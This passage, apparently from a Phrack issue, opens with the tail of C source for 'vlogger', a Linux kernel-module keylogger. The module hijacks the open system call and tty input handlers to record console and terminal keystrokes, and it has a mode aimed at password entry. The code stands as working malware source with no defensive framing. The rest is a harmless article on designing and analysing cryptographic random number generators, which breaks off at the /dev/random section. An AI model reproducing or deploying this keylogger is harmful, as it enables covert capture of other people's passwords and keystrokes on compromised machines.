void vlogger_process(struct tty_struct *tty,

const unsigned char *cp, int count)

{

struct tlogger *tmp = ttys[TTY_INDEX(tty)];

if (!tmp) {

DPRINT("erm .. unknow error???\n");

init_tty(tty, TTY_INDEX(tty));

tmp = ttys[TTY_INDEX(tty)];

if (!tmp)

return;

}

if (vlogger_mode == VK_SMARTMODE) {

if (tmp‑>status && !IS_PASSWD(tty)) {

resetbuf(tmp);

}

if (!tmp‑>pass && IS_PASSWD(tty)) {

logging(tty, tmp, 0);

resetbuf(tmp);

}

if (tmp‑>pass && !IS_PASSWD(tty)) {

if (!tmp‑>lastpos)

logging(tty, tmp, 0);

resetbuf(tmp);

}

tmp‑>pass = IS_PASSWD(tty);

tmp‑>status = 0;

}

if ((count + tmp‑>lastpos) > MAX_BUFFER ‑ 1) {

logging(tty, tmp, 1);

resetbuf(tmp);

}

if (count == 1) {

if (cp[0] == VK_TOGLE_CHAR) {

if (!strcmp(tmp‑>buf, MAGIC_PASS)) {

if(vlogger_mode < 2)

vlogger_mode++;

else

vlogger_mode = 0;

reset_all_buf();

switch(vlogger_mode) {

case VK_DUMBMODE:

DPRINT("Dumb Mode\n");

TTY_WRITE(tty, "\r\n"

"Dumb Mode\n", 12);

break;

case VK_SMARTMODE:

DPRINT("Smart Mode\n");

TTY_WRITE(tty, "\r\n"

"Smart Mode\n", 13);

break;

case VK_NORMAL:

DPRINT("Normal Mode\n");

TTY_WRITE(tty, "\r\n"

"Normal Mode\n", 14);

}

}

}

switch (cp[0]) {

case 0x01://^A

append_c(tmp, "[^A]", 4);

break;

case 0x02://^B

append_c(tmp, "[^B]", 4);

break;

case 0x03://^C

append_c(tmp, "[^C]", 4);

case 0x04://^D

append_c(tmp, "[^D]", 4);

case 0x0D://^M

case 0x0A:

if (vlogger_mode == VK_SMARTMODE) {

if (IS_PASSWD(tty)) {

logging(tty, tmp, 0);

resetbuf(tmp);

} else

tmp‑>status = 1;

} else {

logging(tty, tmp, 0);

resetbuf(tmp);

}

break;

case 0x05://^E

append_c(tmp, "[^E]", 4);

break;

case 0x06://^F

append_c(tmp, "[^F]", 4);

break;

case 0x07://^G

append_c(tmp, "[^G]", 4);

break;

case 0x09://TAB ‑ ^I

append_c(tmp, "[TAB]", 5);

break;

case 0x0b://^K

append_c(tmp, "[^K]", 4);

break;

case 0x0c://^L

append_c(tmp, "[^L]", 4);

break;

case 0x0e://^E

append_c(tmp, "[^E]", 4);

break;

case 0x0f://^O

append_c(tmp, "[^O]", 4);

break;

case 0x10://^P

append_c(tmp, "[^P]", 4);

break;

case 0x11://^Q

append_c(tmp, "[^Q]", 4);

break;

case 0x12://^R

append_c(tmp, "[^R]", 4);

break;

case 0x13://^S

append_c(tmp, "[^S]", 4);

break;

case 0x14://^T

append_c(tmp, "[^T]", 4);

break;

case 0x15://CTRL‑U

resetbuf(tmp);

break;

case 0x16://^V

append_c(tmp, "[^V]", 4);

break;

case 0x17://^W

append_c(tmp, "[^W]", 4);

break;

case 0x18://^X

append_c(tmp, "[^X]", 4);

break;

case 0x19://^Y

append_c(tmp, "[^Y]", 4);

break;

case 0x1a://^Z

append_c(tmp, "[^Z]", 4);

break;

case 0x1c://^\

append_c(tmp, "[^\\]", 4);

break;

case 0x1d://^]

append_c(tmp, "[^]]", 4);

break;

case 0x1e://^^

append_c(tmp, "[^^]", 4);

break;

case 0x1f://^_

append_c(tmp, "[^_]", 4);

break;

case BACK_SPACE_CHAR1:

case BACK_SPACE_CHAR2:

if (!tmp‑>lastpos) break;

if (tmp‑>buf[tmp‑>lastpos‑1] != ']') tmp‑>buf[‑‑tmp‑>lastpos] = 0;

else {

append_c(tmp, "[^H]", 4);

}

break;

case ESC_CHAR://ESC

append_c(tmp, "[ESC]", 5);

break;

default:

tmp‑>buf[tmp‑>lastpos++] = cp[0]; tmp‑>buf[tmp‑>lastpos] = 0;

}

} else {// a block of chars or special key

if (cp[0] != ESC_CHAR) {

while (count >= MAX_BUFFER) {

append_c(tmp, cp, MAX_BUFFER);

logging(tty, tmp, 1);

resetbuf(tmp);

count ‑= MAX_BUFFER;

cp += MAX_BUFFER;

}

append_c(tmp, cp, count);

} else // special key

special_key(tmp, cp, count);

}

}

void my_tty_open(void)

{

int fd, i;

char dev_name[80];

#ifdef LOCAL_ONLY

int fl = 0;

struct tty_struct * tty;

struct file * file;

#endif

for (i=1; i<MAX_TTY_CON; i++) {

snprintf(dev_name, sizeof(dev_name)‑1, "/dev/tty%d", i);

BEGIN_KMEM

fd = open(dev_name, O_RDONLY, 0);

if (fd < 0) continue;

#ifdef LOCAL_ONLY

file = fget(fd);

tty = file‑>private_data;

if (tty != NULL &&

tty‑>ldisc.receive_buf != NULL) {

if (!fl) {

old_receive_buf =

tty‑>ldisc.receive_buf;

fl = 1;

}

init_tty(tty, TTY_INDEX(tty));

}

fput(file);

#endif

close(fd);

END_KMEM

}

#ifndef LOCAL_ONLY

for (i=0; i<MAX_PTS_CON; i++) {

snprintf(dev_name, sizeof(dev_name)‑1, "/dev/pts/%d", i);

BEGIN_KMEM

fd = open(dev_name, O_RDONLY, 0);

if (fd >= 0) close(fd);

END_KMEM

}

#endif

}

void new_receive_buf(struct tty_struct *tty, const unsigned char *cp, char *fp, int count)

{

if (!tty‑>real_raw && !tty‑>raw)// ignore raw mode

vlogger_process(tty, cp, count);

(*old_receive_buf)(tty, cp, fp, count);

}

static inline void init_tty(struct tty_struct *tty, int tty_index) {

struct tlogger *tmp;

DPRINT("Init logging for %s%d\n", TTY_NAME(tty), TTY_NUMBER(tty));

if (ttys[tty_index] == NULL) {

tmp = kmalloc(sizeof(struct tlogger), GFP_KERNEL);

if (!tmp) {

DPRINT("kmalloc failed!\n");

return;

}

memset(tmp, 0, sizeof(struct tlogger));

tmp‑>tty = tty;

tty‑>ldisc.receive_buf = new_receive_buf;

ttys[tty_index] = tmp;

} else {

tmp = ttys[tty_index];

logging(tty, tmp, 1);

resetbuf(tmp);

tty‑>ldisc.receive_buf = new_receive_buf;

}

}

asmlinkage int new_sys_open(const char *filename, int flags, int mode) {

int ret;

static int fl = 0;

struct file * file;

ret = (*original_sys_open)(filename, flags, mode);

if (ret >= 0) {

struct tty_struct * tty;

BEGIN_KMEM

lock_kernel();

file = fget(ret);

tty = file‑>private_data;

if (tty != NULL &&

((tty‑>driver.type == TTY_DRIVER_TYPE_CONSOLE && TTY_NUMBER(tty) < MAX_TTY_CON ‑ 1 ) ||

(tty‑>driver.type == TTY_DRIVER_TYPE_PTY && tty‑>driver.subtype == PTY_TYPE_SLAVE &&

TTY_NUMBER(tty) < MAX_PTS_CON)) && tty‑>ldisc.receive_buf != NULL &&

tty‑>ldisc.receive_buf != new_receive_buf) {

if (!fl) {

old_receive_buf = tty‑>ldisc.receive_buf;

fl = 1;

}

init_tty(tty, TTY_INDEX(tty));

}

fput(file);

unlock_kernel();

END_KMEM

}

return ret;

}

int init_module(void)

{

DPRINT(MVERSION);

#ifndef LOCAL_ONLY

original_sys_open = sys_call_table[__NR_open]; sys_call_table[__NR_open] = new_sys_open;

#endif

my_tty_open();

//MOD_INC_USE_COUNT;

return 0;

}

DECLARE_WAIT_QUEUE_HEAD(wq);

void cleanup_module(void)

{

int i;

#ifndef LOCAL_ONLY

sys_call_table[__NR_open] = original_sys_open;

#endif

for (i=0; i<MAX_TTY_CON + MAX_PTS_CON; i++) {

if (ttys[i] != NULL) {

ttys[i]‑>tty‑>ldisc.receive_buf = old_receive_buf;

}

}

sleep_on_timeout(&wq, HZ);

for (i=0; i<MAX_TTY_CON + MAX_PTS_CON; i++) {

if (ttys[i] != NULL) {

kfree(ttys[i]);

}

}

DPRINT("Unloaded\n");

}

EXPORT_NO_SYMBOLS;

<‑‑>

CRYPTOGRAPHIC RANDOM NUMBER GENERATORS

==Phrack Inc.==

Volume 0x0b, Issue 0x3b, Phile #0x0f of 0x12

|=‑‑‑‑‑‑‑‑‑‑‑‑‑=[ CRYPTOGRAPHIC RANDOM NUMBER GENERATORS ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ DrMungkee <pub@drmungkee.com> ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

‑‑‑‑| Introduction

Every component in a cryptosystem is critical to its security. A single failure in one could bring down all the others. Cryptographic random numbers are often used as keys, padding, salt and initialization vectors. Using a good RNG for each of these components is essential. There are many complications imposed by the predictability of computers, but there are means of extracting the few bits of entropy regardless of them being exponentially out‑numbered by redundancy. This article's scope covers the design, implementation and analysis of RNGs. RNGs subject to exploration will be NoiseSpunge, Intel RNG, Linux' /dev/random, and Yarrow.

‑‑‑‑| Glossary

RNG ‑ Random Number Generator

PRNG ‑ Pseudo Random Number Generator

entropy ‑ Unpredictable information

redundancy ‑ Predictable or probabilistic information

‑‑‑‑| 1) Design Principles of RNGs

1.0) Overview

A variety of factors come into play when designing an RNG. It's output must be undissernable from white noise, there must be no way of predicting any portion of it, and there can be no way of finding previous or future outputs based on any known outputs. If an RNG doesn't conform to this criteria, it is not cryptographicaly secure.

1.1) Entropy Gathering

To meet the first and second criteria, finding good sources of entropy is an obligation. These sources must be unmoniterable by an attacker, and any attempts by an attacker to manipulate the entropy sources should not make them predictable or repetitive.

Mouse movement is often used as entropy, but if the entropy is improperly interpreted by the RNG, there is a segnficant amount of redundancy. To demonstrate, I monitered mouse movement at an interval of 100 miliseconds. These positions were taken consecutively while the mouse was moved hecticaly in all directions. These results say it all:

X‑Position Y‑Position

0000001011110101 0000000100101100 Only the last 9 bits of each 0000001000000001 0000000100001110 coordinate actualy appear 0000001101011111 0000001001101001 random. 0000001000100111 0000000111100100

0000001010101100 0000000011111110

0000000010000000 0000000111010011

0000001000111000 0000000100100111

0000000010001110 0000000100001111

0000000111010100 0000000011111000

0000000111100011 0000000100101010

The next demonstration shows a more realistic gathering of entropy by keeping only the 4 least significant bits of the X and Y positions and XORing them with a high‑frequency counter, monitoring them at a random interval:

X Y Timer XORed

1010 1001 00100110 01111111

0100 1100 00101010 00000110

0101 0010 01011111 01110101

1001 1100 10110000 11111100

0101 0100 11001110 11100010

0101 1100 01010000 01111100

1011 0000 01000100 00011100

0111 0111 00010111 00101000

0011 0101 01101011 01110110

0001 0001 11011000 11010001

Good entropy is gathered because 4bits from each coordinates represents a change in 16 pixels in each direction rather than assuming a motion of 65536 can occur in all directions. The high‑resolution timer is used as well because although it is completly sequencial, it's last 8 bits will have been updated very often during a few CPU clock cycles, thus making those bits unmonitorable. An XOR is used to combine the entropy from the 2 sources because it has very the very good property of merging numbers in a way that preserves the dependency of every bit.

The most common sources of entropy used all involve user interaction or high‑frequency clocks in one way, shape, or form. A hybrid of both is always desirable. Latencies between user‑triggered events (keystroke, disk I/O, IRQs, mouse clicks) measured at high‑precisions are optimal because of the unpredictable nature of a user's behaviors and precise timing.

Some sources may seem random enough but are in fact not. Network traffic is sometimes used but is unrecommended because it can be monitored and manipulated by an outside source. Another pittfall is millisecond precision clocks: they don't update frequently enough to be put to good use.

A good example of entropy gathering shortcommings is Netscape's cryptographically _broken_ not‑so‑RNG. Netscape used the time and date with its process ID and its parent's process ID as it's only source of entropy. The process ID in Win9x is a value usualy below 100 (incremented once for each new process) that is XORed with the time of day Win9x first started. Even though the hashing function helped generate output that seemed random, it is easy to estimate feseable values for the entropy, hash them, and predict the RNG's output. It doesn't matter weather or not the output looks random if the source of entropy is poor.

1.2 Entropy Estimations

Evaluating the quantity of entropy gathered should not be overlooked. It must be dones in order to prevent the RNG from attempting to output more entropy than it has gathered. Depending on system parameters, you can assign quality estimates for each of your entropy sources. For example, you can evaluate all keyboard generated entropy as being 4bits in size, regardless of how many bits of entropy you collect from it. If the RNG is on a file server and uses disk I/O as an entropy source, it could derrive an entropy estimate proportional to the number of users accessing the disk to prevent sequencial disk access from resulting in redundant entropy. The entropy estimates do not need to be the same size as the inputs or outputs of entropy gathering. They are meant as a safety precaution in further calculations.

There are alternative methods for estimating the entropy. You could bias entropy from a source to be of better quality if that source has not supplied entropy for a period exceeding a certain interval. You can accumulate large amounts of entropy in a buffer, compress it, and derive an estimation from the compression ratio. Statistical tests comparing the last input entropy with a large quantity of previous inputs doesn't do much in terms of finding the current input's quality, but it gives the RNG an oppertunity to reject inputs that increase statistical probability of the group of entropy inputs.

The best approach to this is also a hybrid. One method of estimating entropy quality usualy isn't enough. There are cases where an entropy source can be assumed to provide a consistant quality of entropy however. In these cases, a fixed size can be assigned to all entropy inputs from that source, but carefull analysis should be done before this assumption is made. It is wisest to calculate multiple estimates and assume the smallest value to be the most accurate.

1.3) Entropy Pools

No entropy source should be assumed perfect. More specificaly, no entropy source should be assumed perfect on a computer. That is why entropy is gathered in a buffer (entropy pool) to undergo supplimentary processing. After entropy is gathered from a source, it is input into an entropy pool. The entropy pool must do several things with this input. It must keep track of the amount of entropy contained within it, mix the last input uniformaly with all the previous inputs contained within it, and provide an at least seamingly random state regardless of the quality of the entropy input (patternistic inputs should still look random in the pool).

Mixing the contents of the entropy pool should neither sacrifice any of the entropy within it nor be considered to add entropy to its state. If the mixing function expands the pool, entropy estimation of its contents should not change. Only the entropy gathering functions are responsible for increasing entropy and are dealt with serperately.

The best candidates for mixing functions are hashing algorithms. The hashing algorithm should accept any size input, and have a large sized output that reflects the speed at which entropy is gathered, and have a non‑deterministic output. To preserve gathered entropy, the hashing function should not input more entropy than the size of it's output. With that said, if the hashing function outputs 160bits, it should not be input more than 160bits prior to output. If the hashing algorithm is cryptographically secure (which it should be) the output will yield the same amount of entropy as the input. If the output is larger than the input, the state of the pool cannot be assumed to have increased in entropy.

There are several approaches to using large pools of entropy. One approach implments a pool that is hashed linearly. For this method, you would need a buffer that is concatinated with the last input of entropy. Hashing should be started at the end of the buffer. The rest of the buffer should be hashed, one chunk (the size of the output) at a time, each time XORing the output with the output of the last block's hash to ensure the entire pool is affected by the last input, without overwritting any previous entropy. This is only an examplar method. Whichever procedure you choose, it should meet all the criteria mentioned in the previous paragraphs.

Another approach to maintaining a large entropy pool is using multiple hashed contexts which are used to affect each other. A common use is a pool that contains unmanipulated entropy. Once that pool is full, it is hashed and used to update another pool either by updating a hashing context or XORing. This is cascaded through as many pools as desired, but to avoid losing previous entropy, some pools should only be updated after it's parent pool (the one that updates it) has been updated a certain number of times. For example, once the first hashed pool has been updated 8 times, a second pool can be updated. Once the second hashed pool has been updated 3 times, it can update a third pool. With this method, the third pool contains entropy from the last 24 entropy updates. This conserves less entropy (limited by the size of the hashing contexts) but provides better quality entropy. Entropy is of better quality because the source of the entropy containted within the third pool is completly dependent on 24 entropy inputs.

Inputing entropy into a pool is usualy called updating or seeding. Entropy pools combined with the output function by themselves are in fact PRNGs. What makes a RNG is the entropy gathering process which obtains truly random seeds. As long a good entropy is input, the RNG will have an infinite period (no output patterns) as oposed to PRNGs which have a semi‑fixed point at whitch they will start to repeat all previous outputs in the same order.

Entropy pools are the key to preventing any previous or future outputs of RNG from being predicted. Attacks against an RNG to determine previous and future outputs are either based on knowledge of the entropy pool, entropy inputs or previous outputs. The pool should be designed to prevent knowledge of its current state from compromising any or all future outputs. To do this, entropy pools should undergo a drastic change from time to time by removing protions or all of its entropy. This is called reseeding. Reseeding should _always_ replace the entropy that is removed with fresh entropy before outputing. If the entropy is not replaced, the pool will be in a severely weakened state. An RNG does not need to reseed, but if it doesn't, it must have entropy added at a rate greater than the RNG's output.

Reseeding should only occur after sufficient unused entropy has been accumulated to fill a large portion of the pool, and the entropy estimation of the pool should be adjusted to the estimated size of the input entropy. Reseeding should not occur very often, and only based on the number of bits output by the RNG and the size of the pool. A safe estimation on the reseeding frequency of an RNG would be the after an 95% of the size of the entropy input has been output. This estimate assumes that entropy is added to the pool in between the RNG's outputs. If this is not the case, reseeding should occur more frequently. The less entropy is input between outputs, the better the chances that an attacker who has found one output will find the previous output (which can cascade backwards after each output is found).

1.4) Output Functions

An RNG's output should be passed through a one‑way function. A one‑way function's output is derrived from its input, but that input is computationaly infeasable to derive from its output. One‑way hash functions are perfect for this. More complex methods involve using portions of the pool as key data fed to a symmetric encryption algorithm that encrypts another portion of the pool and outputs the ciphertext. Expansion‑compression is a very effective one‑way function as well. To do this you can use portions of the pool as seeds to a PRNG and generate multiple outputs (each the size of the PRNG's seed) and then inputing all of these into a hash function and outputing its result. This is effective because many intermediate (expanded) states could result in the same hash output, but only one iniciate (before expansion) state can result in that intermediate state.

Every time the RNG outputs, its entropy estimate should be decremented by the size of the output. This is done with the assumption that the output entirely consists of entropy. Because that output's entropy is still in the pool, it is now redundant and cannot be assumed as entropy (inside the pool) any longer. If the pool is 512bits in size, and 160bits of entropy is consumed on every output then almost all entropy hash been used after 3 outputs and the pool should be reseeded.

There is a problem nearly impossible to overcome that occurs when implementing entropy pools: there is no way of determining what entropy bits were output, and which were not. The best way to nullify the symptomes of this problem is by making it impossible to know when entropy has been used more than once based on the the RNG's output. When an output occurs, the pool's state must be permuted so that consecutive outputs without any entropy added or reseeding will not result in identical RNG outputs. The pool's state permutation must be a one‑way function and must apply the same concepts and criteria used in the output function. The pool's entropy size is always assumed to be identical after permutation as long as the procedure follows the criteria.

1.5) Implementation

All the effort put into a well designed RNG is useless if it isn't properly implemented. Three layers of the implemetation will be covered: media, hardware/software, and usage of the output.

Storage and communication media each represent a risk in an unencrypted state. The following lists various degrees of risk assigned to storage and communication media. Risks are assigned as such:

0 ‑ no risk

1 ‑ low risk

2 ‑ medium risk

3 ‑ high risk

MEDIA RISK

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

RAM <storage> 0 *&

Hard Drive <storage> 1 *&

Shared memory <transfer> 1 *&

Removable disks <transfer> 2

LAN <communication> 2 &

WAN <communication> 3

Any properly encrypted media's risk is 0.

* If the storage media is on a computer connected to a network, risk is increased by 1.

& If physical access is possible (computer/LAN)., risk is increased by 1.

The highest risk of all medias should be interpreted as the implementation's risk (weakest link, good bye!). High risk is unacceptable. Medium risk is acceptable depending on the value of the RNG's output (what's it worth to an attacker?). A personal diary can easily cope with medium risk unless you have many skeletons in your closet. Industrial secrets should only use 0 risk RNGs. Acceptable risk is usualy up to the programmer, but the user should be aware of his choice.

Hardware RNGs should be tamper‑proof. If any physical modification is attempted, the RNG should no longer output. This precaution prevents manipulation of the entropy pool's state and output. There should be no way of monitoring hardware RNGs through frequencies, radiation, voltage, or any other emissions generated by the RNG. Any of these could be used as a source of information with whitch the RNG's entropy pool or output could be compromised. To prevent this, all hardware RNGs should be properly shielded.

Software implementations can be very tricky. Reverse engineering will remain a problem until digital signing of executable files is implemented at the operating system level. Until then, any attempts made on the programmer's behalf to prevent reverse engineering of the RNG's software implementation will only delay the innevitable. It is still important that the programmer takes care in writting the software to have to lowest possible risk factor (the chart takes into account reverse engineering of software).

// the following applies to RNGs seperate from their calling applications

The RNG must take special care to ensure that only one program has access to each of the RNG's outputs. The method by which the data is transfered from the RNG to the program must not succomb to observation. Distinct outputs are usualy guarrentied by the output function, but sometimes the output is copied to a temporary buffer. It might be possible to trick an RNG into conserving that buffer, or copying it elsewhere providing easy observation. A quick solution is for an application to encrypt the RNG's output with a key it generates by its own means. However, you could go all out and implement a full key‑escrow between the RNG and the calling applications and still be vulnerable to a hack. The kind of _prevention_ a programmer incorporates into software only serves as a road block, but this is often enough to discourage 99.9% of its users from attempting to compromise security. Not much can be done about 0.1% that can still manipulate the software because there will always be a way to crack software.

1.6) Analysis

There are two important aspects to analysing an RNG: randomness and security. To evaluate an RNG's randomness, one usualy resorts to statistical analysis of the RNG's input (entropy gathering process) and output (output function). To evaluate it's security, one would look for flaws in its entropy gathering, entropy pool, mixing function, and output function that allow an attacker to find past, present, or future outputs by any means possible. There is no guarrentying the effectiveness of either of these aspects. The only certain thing is once the RNG is broken, it is broken; until then, you can only speculate.

There are many statistical tests available on the internet suitable for testing randomness of data. Most require a large sample of data stored in a file to derive significant results. A Probabilistic value is obtained through statistical analysis of the sample. This value is usualy in the form of P, a floating point number between 0 and 1. Tests are done in various block sizes usualy between 8 and 32bits. P's precision varies from one test to the next. A P value close to 0.5 is what is usualy desired. When P is close to 0.5, probability is at it's midrange and there is no incline towards either 0 or 1. An RNG is not weak because it has a value close to 1 or 0. It can occur even with purely random data. If it were impossible to obtain a value close to 0 or 1, the RNG would be flawed anyway. This is because when data is completly random, all outputs are equaly likely. This is why patterned outputs are possible. When P is less then satisfactory, many new samples should be created and tested. If other samples result in bad Ps then the RNG most likely has deterministic output and should not be used. DieHard offers an armada of 15 tests that use P values. Other tests describe there results with an integer and it's target. The closer the integer is to its target the better. An example of this is the Maurer Universal Statistics Test.

The problem with statistical tests is that any good PRNG or hashing function will pass them easily without any entropy. Even if the output is non‑deterministic the RNG is only an RNG if it cannot be predicted. For that reason, the RNG's entropy must be non‑deterministic as well. Unless the entropy source can be guarrentied to function properly, it is wise to use the same tests on the raw entropy itself. By doing this you can achieve a sufficient level of confidence about the randomness. A big speed‑bump stares you right in the eyes when you're trying to do this, however. Entropy is often gathered at a very slow pace making the gathering of a sufficiently large data sample extremely tedius and in some circumstances it might not even be worthwhile. Whether this is the case or not, it is logical to intellegently scrutinise entropy sources, rather than depending on statistical tests (which cannot guarrenty anything) to find flaws (see 1.1).

Evaluating an RNG's security is a complexe task with infinite means and only one end: a break. The odds are always well stacked against an RNG. No matter how many provisions are made to prevent breaks, new attacks will always eventualy emerge from that RNG or another. Every aspect of the RNG must be studied carefully, from entropy gathering right up to the delivery of the RNG's output. Every component should be tested individualy and then as a group. Tests include the possibility of hacks that can tamper with or monitor entropy gathering, and cryptanalysis of mixing and output functions. Most breaks are discovered under laboratory conditions. These are called academic breaks and they usualy require very specific conditions be met in order to function (usualy highly improbable). Finding these breaks is a broad topic on its own and is beyond of the scope in article. Successful breaks are usually the result of months (often years) of pain‑staking work done by cryptanalysts with years of experience. The best thing to do is to carefully design the RNG from start to finish with security in mind.

Even as the limits of mathematics and cryptanalysis are reached in testing, advancements in sience could reak havoc on your RNG. For example, Tempest scanning could be used by an attacker to follow keystrokes and mouse positions. Discoveries can even be made in the analysis of white noise, eventualy. These breaks are usualy found by scholars and professionals who seek only to make their knowledge available before damage occurs. Not much can be done to prevent attacks that are unknown. Finding an effective fix quickly and learning from the is what is expected from developers. Thankfully, these attacks emerge very rarely, but things are changing as research increases.

Only the security analysis of the RNGs in section 2 will be discussed because each has already been tested for and passed randomness analysis.

‑‑‑‑| 2 Description of specific RNGs

2.1) NoiseSpunge's Design

Information Source: Uhhhh, I wrote it.

2.1.0) NoiseSpunge Overview

NoiseSpunge was specifically written for generating random 256bit keys suitable for strong encryption. Gathering entropy for a single output (256bits) requires a few seconds of mouse movement on the user's part. Its structure is complex and computationaly expensive. NoiseSpunge is meant to be a component within cryptosystems, and for that reason, special consideration has to be made in order to prevent it from being a liability. The trade off in this implementation is it would be clumsy at best if large quantities of random data were needed regularly because it would require intense user‑interaction and it would consume too many CPU cycles.

2.1.1) NoiseSpunge Entropy Gathering

A PRNG is seeded with initial zeros. The PRNG then outputs a value used to calculate the length of the interval used. When the interval is triggered, the mouse position is checked for movement. If the mouse has moved since the last trigger the PC's high‑frequency clock is queried for its current value. The 4 least significant bits are XORed with the 4 least significant bits of the mouse's x & y coordinates. A new interval is then calculated from the PRNG. The 4 bits produced are concatenated until 32 bits are gathered and output. The 32bits are concatenated to the an entropy buffer and also used to update the PRNG that sets the interval. The process is then repeated. If the mouse has not moved, a new interval is set and the process repeats until is has moved. There is also a function that allows the programmer to input 32bits of entropy at a time. This function is suitable if there is a hardware entropy device or another known secure source of entropy on a particular system. However, the use of another RNG's output would be redundant if it is good and useless if it is bad.

2.1.2) NoiseSpunge Entropy Estimation

Entropy estimation is straight forward. The worst case scenario is assumed with each input. Only 4bits are gathered for every mouse capture. No further estimations are done because they would only yield results 4bits or greater. Entropy estimation for the supplementary function that allows the programmer to supply his own entropy requires the programmer to guarrantee his entropy is of good quality; estimation of this input's entropy is left in his hands.

2.1.3) NoiseSpunge Entropy Pool

The internal state comprises 762bit. There is a 256bit seed, a 256bit primary hash, and a 256bit secondary hash. 256bit Haval is used as the hashing function. When a 32bit block of entropy is added, it is appended to a 256bit buffer. Once the buffer is full the primary hash is updated with it. The seed is XORed with The primary hash's output unless this is the 8th primary reseed. In that case, the primary hash's output is input into the secondary hash and that hash's output is permuted (see bellow) and replaces the seed. Seed permutation is accomplished by an expansion‑compression. 32bit words of the seed are fed as a PRNG's random seed and used to output two 32bit words. All 512bits of the PRNG's output are hashed and replace the pool's seed. After every primary reseed, a KeyReserve counter is incremented and capped at 8. The KeyReserve reperesents the number of 256bit groups of entropy that have been added to the internal state. This KeyReserve is a rough estimate of when there is no longer any purpose to adding entropy into the pool and the entropy gathering thread can be paused (until the RNG outputs).

2.1.4) NoiseSpunge Output Function

There are 2 methods provided for the RNG's output: safe and forced. A safe output makes sure the KeyReserve is not zeroed and decrements it after output. A forced output ignores the KeyReserve. To output, the seed is copied to a temporary buffer and is then permuted. The new seed is used a key to initialize Rijndael (symmetric block cipher). The temporary buffer is encrypted with Rijndael and then permuted with an expansion‑compression (the same way the seed is). This is repeated for N rounds (chosen by the programmer) and the buffer is then output.

2.1.5) NoiseSpunge Analysis

[1] The heavy relyance upon mouse movement could _starve_ the entropy pool if the mouse is not in use for an extended period of time. However, a counter prevents output when entropy is low.

[2] The programmer could forcefully input poor quality entropy and weaken the RNG's internal state.

[3] There are no provisions for systems without high‑resolution timers.

[4] Even though the pool's internal state is 762bits long, there is a maximum of 256bits of entropy at any state. (The other bits are only there to prevent back‑tracking and to obfuscate the seed). That makes this RNG only suitable when small amounts of secure random data are needed.

2.2) Intel RNG's Design

Information Source: Intel Random Number Generator White Paper *1

2.2.0) Intel RNG Overview

The Intel RNG is system‑wide. It is designed to provide good quality random data in massive quantities to any software that requires it. It's average throughput is 75Kb/s (bits). The Intel Security Driver provides a bridge between the middleware (CDSA, RSA‑BSAFE, and Microsoft CryptoAPI) that will serve out the random numbers to requesting applications and the hardware. The hardware portion is in Intel's 810 chipset, and will be in the 82802 Firmware Hub Device for all future 8xx chipsets.

{WARNING: these are some of my personal opinions; take them with a grain of salt}

Intel has chosen to eloquantly label its RNG as a TRNG (True Random Number Generator), but then they go on to call it an RNG through the rest of the paper. Thechnicaly there is no fundamental difference that sets it asside from any other good RNG; it is a label for hype and has nothing to do with its ability to produce random numbers (RNG==TRNG & TRNG==RNG). As for your daily dose of corporate assurance: "The output of Intel RNG has completed post‑design validation with Cryptography Research Inc. (CRI) and the Federal Information Processing (FIPS) Level 3 test for statistical randomness (FIPS 140‑1)." I find it reassuring that a company (CRI) has analyzed and is supporting this RNG. That isn't something you see very often. On the other hand FIPS140‑1 is just another hype generator. After reading FIPS140‑1, one realises it has absolutely NOTHING to do with the quality of the RNG, but hey! Who cares? Microsoft seems to think it's good enough to use in their family of _high_quality_and_security_ products, so it must be great. All kidding asside, despite the corporate stench, this RNG is well designed and will prevent many RNG blunders such as Netscape's. I think this is a step in the right direction. Rather than letting Joe, Timmy his cousin, and Timmy's best friend's friend design their own RNGs, they provide a good solution for everyone without having them trip on their own feet like Netscape did.

2.2.1) Intel RNG Entropy Gathering

Intel's Random Number Generator is to be integrated into PC motherboards. There are 2 resistors and 2 oscillators (one slow, the other fast). The voltage difference between the 2 resistors is amplified to sample thermal noise. This noise source is used to modulate the slow clock. This clock with variable modulation is used to set intervals between measurements of the fast clock. When the interval is triggered the frequency of the fast clock is then filtered through what Intel calls the von Neumann corrector (patent pending). The corrector compensates for the fast clocks bias towards staying in fixed bit states (regardless of the slow clock's variable modulation). It works by comparring pairs of bits and outputing only one or no bits ([1,0]=0; [0,1]=1; [0,0]or[1,1]=no output;). The output of the corrector is grouped in 32bit blocks and sent to the Intel Security Driver.

2.2.2) Intel RNG Entropy Estimation

No estimations are done for a few reasons. Because the entropy source is hardware based, it cannot be manipulated unless it is put into temperatures far beyond or bellow resonable ambient conditions, or the computer's power is cut off (in which case the entropy gathering stops). Beyond that, all entropy is gathered in the same way and can be assumed of identical quality.

2.2.3) Intel RNG Entropy Pool

The Intel Security Driver takes care of mixing the RNG's output. The pool is composed of 512bits of an SHA‑1 hash contexts divided into two states. An 80bit hash of the first state is generated and appended with 32 bits of entropy (from the hardware) and the first 160bits from the first state to create the second state. When another 32bits of entropy are generated, the second state becomes the first state and the same process is repeated.

2.2.4) Intel RNG Output Function

The last 16bits of the 80bit hash of the first state are output to the middleware. The Intel Security Driver ensures that each output is dispatched only once. If desired, additional processing of the output will have to be done by the program that requested the random data.

2.2.5) Intel RNG Analysis

[1] The need to implement the von Neumann corrector is demonstration of the RNG's affinity for repetitive sequences. An attacker could calculate when 1s or 0s are disproportionatly output by estimating it's throughput in bits/sec, but this doesn't lead to any feasable attacks (yet).

[2] The use of contracted middleware may lead to security holes. Before using a company's middleware, you may want to wait a few months just to see if a quick break is released.

2.3) Linux' /dev/random's Design

Information Source: /dev/random source code *2

2.3.0) /dev/random Overview

Linux provides the /dev/random character device as an interface for applications to recieve random data with good quality entropy. It provides a gernourously sized entropy pool (512 bytes) to accomodate the operating system and all software running on it. When quality entropy is not necessary, a second character device /dev/urandom is provided as a PRNG to avoid wastefully depleting /dev/random's entropy pool.

2.3.1) /dev/random Entropy Gathering

